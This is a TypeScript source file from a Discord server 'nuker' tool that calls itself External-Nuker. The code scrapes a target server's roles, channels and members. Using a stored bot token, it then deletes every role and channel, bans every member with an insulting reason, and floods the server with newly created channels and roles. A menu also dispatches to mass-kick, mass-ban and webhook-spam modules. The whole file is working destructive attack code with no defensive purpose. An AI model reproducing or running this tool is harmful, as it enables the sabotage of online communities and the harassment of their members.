import scrapeModel from "../models/scrape";
import { white } from "chalk";
import templates from "../models/templates";
import { createString } from "../utils/createString";
import { getTheme } from "../utils/getTheme";
import { logo } from "../utils/logo";
import { main } from "./main";
import wizzOptions from "../utils/wizzOptions";
const request = require("request");
import settingsNukeDef from "../models/settings";
import { scrape as scraperGO } from "./scrape";
import { rapid } from "./rapidTitlePromise";
import sleep from "../utils/sleep";

function actualScrap(rl, db, client, guildID) {
  console.clear();
  logo(db);
  let server = client.guilds.cache.get(guildID);

  let roles = [];
  let members = [];
  let channels = [];
  process.title = `[External-Nuker] - Scraping ${server.name}`;

  server.roles.cache.map((role) => {
    roles.push(role.id);
  });
  server.channels.cache.map((channel) => {
    channels.push(channel.id);
  });
  server.members.cache.map((member) => {
    members.push(member.id);
  });
  scrapeModel
    .findOneAndUpdate(
      { Username: db.get("username"), Guild: guildID },
      { Roles: roles, Channels: channels, Members: members },
      { upsert: true }
    )
    .exec();
  let c = getTheme(db);
  console.log(`\n`);
  console.log(createString(`Scraped ${c(members.length)} members`, db, "semi"));
  console.log(createString(`Scraped ${c(roles.length)} roles`, db, "semi"));
  console.log(
    createString(`Scraped ${c(channels.length)} channels`, db, "semi")
  );
  setTimeout(() => {
    console.clear();
    logo(db);
  }, 1000);
}

async function mainWizz(
  client,
  db,
  rl,
  guildID,
  channelName,
  channelAmount,
  roleName,
  roleAmount,
  webhookName,
  webMsg
) {
  function nukeStr(str, type) {
    let r = `${mainColor("[")}${white(
      type === "rateLimit"
        ? "!"
        : type === "success"
        ? "+"
        : type === "fail"
        ? "-"
        : ""
    )}${mainColor("]")} ${white(str)}`;
    return r;
  }
  let mainColor = getTheme(db);
  if (!client.guilds.cache.has(guildID)) {
    console.log(createString("Unknown server", db, "semi", "fail"));
    setTimeout(() => {
      main(db, rl, client);
    }, 1000);
    return;
  }
  let D = <unknown>await scrapeModel.findOne({
    Username: db.get("username"),
    Guild: guildID,
  });
  interface templateData {
    Roles: String[];
    Channels: String[];
    Members: String[];
  }
  let data = <templateData>D;
  let server = client.guilds.cache.get(guildID);
  if (!data) {
    console.log(" ");
    console.log(
      createString("There is no scrape data for the server", db, "semi", "fail")
    );
    setTimeout(() => {
      console.log(
        createString("Caching server, Members might not arrive", db, "semi")
      );

      let rs = [];
      let cs = [];
      let mms = [];

      server.roles.cache.forEach((r) => rs.push(r.id));
      server.channels.cache.forEach((c) => cs.push(c.id));
      server.members.cache.forEach((m) => mms.push(m.id));

      data = {
        Roles: rs,
        Channels: cs,
        Members: mms,
      };
    }, 2000);

    await sleep(4000);
  }

  // console.log(server)

  // if (
  //   !server.me.hasPermissions([
  //     "BAN_MEMBERS",
  //     "MANAGE_CHANNELS",
  //     "MANAGE_ROLES",
  //   ])
  // ) {
  //   process.title = "[External-Nuker] - Missing permissions";
  //   console.log(createString("Failed to find required permissions", db));
  //   console.log(" ");
  //   rl.question(createString("Type anything to continue", db), () => {
  //     main(db, rl, client);
  //   });
  //   return;
  // }

  process.title = `[External-Nuker] - Nuking ${server.name}`;

  scrapeModel
    .deleteOne({
      Username: db.get("username"),
      Guild: guildID,
    })
    .exec();

  let rolesArr = data.Roles;

  client.on("rateLimit", async () => {
    console.log(nukeStr("Rate limited sleeping", "rateLimit"));
    await sleep(350);
  });

  let headers = { Authorization: "Bot " + db.get("curtoken") };
  rolesArr.map(async (id, i) => {
    const options = {
      url: `https://discord.com/api/v8/guilds/${guildID}/roles/${id}`,
      method: "DELETE",
      headers: headers,
    };

    request(options, function (err, res, body) {
      if (!err) {
        console.log(nukeStr(`Deleted role ${mainColor(id)}`, "success"));
      } else {
        console.log(nukeStr(`Failed to delete role ${mainColor(id)}`, "fail"));
      }
      if (
        i - 1 === rolesArr.length ||
        i + 1 === rolesArr.length ||
        i === rolesArr.length
      ) {
        setTimeout(() => {
          main(db, rl, client);
        }, 4000);
      }
    });
    // let role = server.roles.cache.get(roleID);
    // role
    //   .delete()
    //   .then((r) => {
    //     console.log(nukeStr(`Deleted role ${r.id}`, "success"));
    //   })
    //   .catch(() => {
    //     console.log(nukeStr(`Failed to delete role ${roleID}`, "fail"));
    //   });
  });

  let hasSettingScrapeNuke = settingsNukeDef.findOne({
    Username: db.get("username"),
  });
  if (hasSettingScrapeNuke) {
    scrapeModel
      .deleteOne({ Username: db.get("username"), Guild: guildID })
      .exec();
  }
  let channelArr = data.Channels;

  channelArr.map(async (channelID) => {
    let channel = server.channels.cache.get(channelID);
    (await channel.fetch())
      .delete()
      .then((r) => {
        console.log(nukeStr(`Deleted channel ${r.id}`, "success"));
      })
      .catch(() => {
        console.log(nukeStr(`Failed to delete channel ${channelID}`, "fail"));
      });
  });

  let membersArr = data.Members;

  membersArr.map((id, i) => {
    let headers = { Authorization: "Bot " + db.get("curtoken") };

    const options = {
      url: `https://discord.com/api/v8/guilds/${guildID}/bans/${id}?reson=toobitch`,
      method: "PUT",
      headers: headers,
    };

    request(options, function (err, res, body) {
      if (!err) {
        console.log(nukeStr(`Banned ${mainColor(id)}`, "success"));
      } else {
        console.log(nukeStr(`Failed to ban ${mainColor(id)}`, "fail"));
      }
    });
  });

  // server.channels.cache.map((ch) => {
  //   ch.delete()
  //     .then((c) => {
  //       console.log(nukeStr(`Deleted channel ${c.id}`, "success"));
  //     })
  //     .catch(() => {
  //       console.log(
  //         nukeStr(`Failed to delete channel ${ch.id}`, "fail")
  //       );
  //     });
  // });
  let c = 0;
  setInterval(() => {
    if (Number(channelAmount) > c) {
      const options = {
        url: `https://discord.com/api/v8/guilds/${guildID}/channels`,
        method: "POST",
        headers: { Authorization: "Bot " + db.get("curtoken") },
        json: { name: channelName },
      };

      request(options, function (err, res, body) {
        if (!err) {
          console.log(nukeStr(`Created Channel`, "success"));

          c++;
        } else {
          c++;
          console.log(nukeStr(`Failed to Create Channel`, "fail"));
        }
      });
    }
  });
  for (let i = 0; i < Number(roleAmount); i++) {
    let headers = { Authorization: "Bot " + db.get("curtoken") };
    const options = {
      url: `https://discord.com/api/v8/guilds/${guildID}/roles`,
      method: "POST",
      headers: headers,
      json: { name: roleName },
    };

    request(options, function (err, res, body) {
      if (!err) {
        console.log(nukeStr(`Created role ${mainColor(body.id)}`, "success"));
      } else {
        console.log(nukeStr(`Failed to create role`, "fail"));
      }
      if (i + 1 === Number(roleAmount)) {
        setTimeout(() => {
          main(db, rl, client);
        }, 2500);
      }
    });
    // server.roles
    //   .create({ data: { name: roleName, color: "RANDOM" } })
    //   .then((x) => {
    //     console.log(nukeStr(`Created role ${x.id}`, "success"));
    //   })
    //   .catch(() => {
    //     console.log(nukeStr(`Failed to create role`, "fail"));
    //   });
  }
}

function checkConfigBefore(db, guildID) {
  let c = null;
  if (db.has(`settings.scrape.checknuke`)) {
    if (db.get(`settings.scrape.checknuke`) === true) {
      if (!db.has(`scrape_${guildID}`)) c = "NONE";
    }
  }
  return c;
}

async function wizz(client, db, rl) {
  rapid("[External-Nuker] - Wizz", 1).then(() => {
    setTimeout(() => {
      process.title = "[External-Nuker] - Wizz";
    }, 40);
  });
  console.clear();
  wizzOptions(db);
  rl.question(createString("Enter option", db), async (option) => {
    if (
      ![
        "menu",
        "1",
        "2",
        "3",
        "4",
        "5",
        "6",
        "7",
        "8",
        "9",
        "x",
        "c",
        "v",
      ].includes(option)
    ) {
      console.log(createString("Unknown option", db, "semi", "fail"));
      setTimeout(() => {
        wizz(client, db, rl);
      }, 1000);
      return;
    }
    if (option === "menu") {
      main(db, rl, client);
      return;
    }
    if (option === "9") {
      scraperGO(rl, db, client);
      return;
    }
    rl.question(createString("Enter server ID", db), async (guildID) => {
      if (guildID === "menu") {
        main(db, rl, client);
        return;
      }
      let x = client.guilds.cache.get(guildID);
      if (!x) {
        process.title = "[External-Nuker] - Unknown server";
        console.log(createString("Unknown server", db, "semi", "fail"));
        setTimeout(() => {
          wizz(client, db, rl);
        }, 2000);
        return;
      }

      let dbHasD = await scrapeModel.findOne({
        Username: db.get("username"),
        Guild: guildID,
      });

      let mainColor = getTheme(db);

      if (!dbHasD) {
        actualScrap(rl, db, client, guildID);
        console.log(
          createString(
            "No scrape data, Creating scrape..Please wait " +
              `${mainColor("5")} seconds`,
            db,
            "semi",
            "fail"
          )
        );
        await sleep(5000);
      }

      if (option === "menu") {
        main(db, rl, client);
        return;
      }
      client.on("rateLimit", async () => {
        let mainColor = getTheme(db);
        console.log(
          mainColor("[") +
            white("!") +
            mainColor("] ") +
            white("Rate limited.. Starting to sleep..")
        );
      });
      let server = client.guilds.cache.get(guildID);
      if (option === "1") {
        console.clear();
        logo(db);

        let tems = await templates.find({ Username: db.get("username") });
        let arr = [];
        let arrDisplay = [];

        tems.map(<x>(tem) => {
          arrDisplay.push(" " + createString(tem.Name, db, "semi"));
          arr.push(tem.Name);
        });

        console.log(createString("Templates:", db, "semi"));
        console.log(" ");
        console.log(arrDisplay.join("\n"));
        console.log(" ");

        rl.question(createString("Enter template name", db), async (name) => {
          if (name === "menu") {
            main(db, rl, client);
            return;
          }

          if (!arr.includes(name)) {
            console.log(createString("Invalid template", db, "semi", "fail"));
            setTimeout(() => {
              wizz(client, db, rl);
            }, 2000);
            return;
          }
          interface templateData {
            ChannelName: String;
            ChannelAmount: Number;
            RoleName: String;
            RoleAmount: Number;
            WebhookName: String;
            WebhookMessage: String;
          }

          let data = <unknown>await templates.findOne({
            Username: db.get("username"),
            Name: name,
          });
          rl.question(createString("Enter server ID", db), (guildID) => {
            let d = <templateData>data;
            mainWizz(
              client,
              db,
              rl,
              guildID,
              d.ChannelName,
              d.ChannelAmount,
              d.RoleName,
              d.RoleAmount,
              d.WebhookName,
              d.WebhookMessage
            );
          });
        });
      }
      if (option === "2") {
        if (!server.me.hasPermission("BAN_MEMBERS")) {
          process.title = "[External-Nuker] - Missing ban permissions";
          console.log(
            createString(
              "Failed to find needed permissions",
              db,
              "semi",
              "fail"
            )
          );
          setTimeout(() => {
            wizz(client, db, rl);
          }, 1000);
          return;
        }
        require("./nuke/ban")(client, db, rl, guildID);
      }
      if (option === "3") {
        if (!server.me.hasPermission("KICK_MEMBERS")) {
          process.title = "[External-Nuker] - Missing kick permissions";
          console.log(
            createString(
              "Failed to find needed permissions",
              db,
              "semi",
              "fail"
            )
          );
          setTimeout(() => {
            wizz(client, db, rl);
          }, 1000);
          return;
        }
        require("./nuke/kick")(client, db, rl, guildID);
      }
      if (option === "4") {
        if (!server.me.hasPermission("MANAGE_CHANNELS")) {
          process.title =
            "[External-Nuker] - Missing manage channel permissions";
          console.log(
            createString(
              "Failed to find needed permissions",
              db,
              "semi",
              "fail"
            )
          );
          setTimeout(() => {
            wizz(client, db, rl);
          }, 1000);
          return;
        }
        require("./nuke/createChannels")(client, db, rl, guildID);
      }
      if (option === "5") {
        if (!server.me.hasPermission("MANAGE_CHANNELS")) {
          process.title =
            "[External-Nuker] - Missing manage channel permissions";
          console.log(
            createString(
              "Failed to find needed permissions",
              db,
              "semi",
              "fail"
            )
          );
          setTimeout(() => {
            wizz(client, db, rl);
          }, 1000);
          return;
        }
        require("./nuke/delChannels")(client, rl, db, guildID);
      }
      if (option === "6") {
        if (!server.me.hasPermission("MANAGE_ROLES")) {
          process.title = "[External-Nuker] - Missing manage role permissions";
          console.log(
            createString(
              "Failed to find needed permissions",
              db,
              "semi",
              "fail"
            )
          );
          setTimeout(() => {
            wizz(client, db, rl);
          }, 1000);
          return;
        }
        require("./nuke/createRoles")(client, db, rl, guildID);
      }
      if (option === "7") {
        if (!server.me.hasPermission("MANAGE_ROLES")) {
          process.title = "[External-Nuker] - Missing manage role permissions";
          console.log(
            createString(
              "Failed to find needed permissions",
              db,
              "semi",
              "fail"
            )
          );
          setTimeout(() => {
            wizz(client, db, rl);
          }, 1000);
          return;
        }
        require("./nuke/delRoles")(client, rl, db, guildID);
      }
      if (option === "8") {
        require("./nuke/spamWebhooks")(client, rl, db, guildID);
      }
      if (option === "x" || option === "z" || option === "c") {
        setTimeout(() => {
          wizz(client, db, rl);
        }, 1500);
        console.log(createString("Coming soon..", db, "semi", "fail"));
      }
    });
  });
}

export { wizz };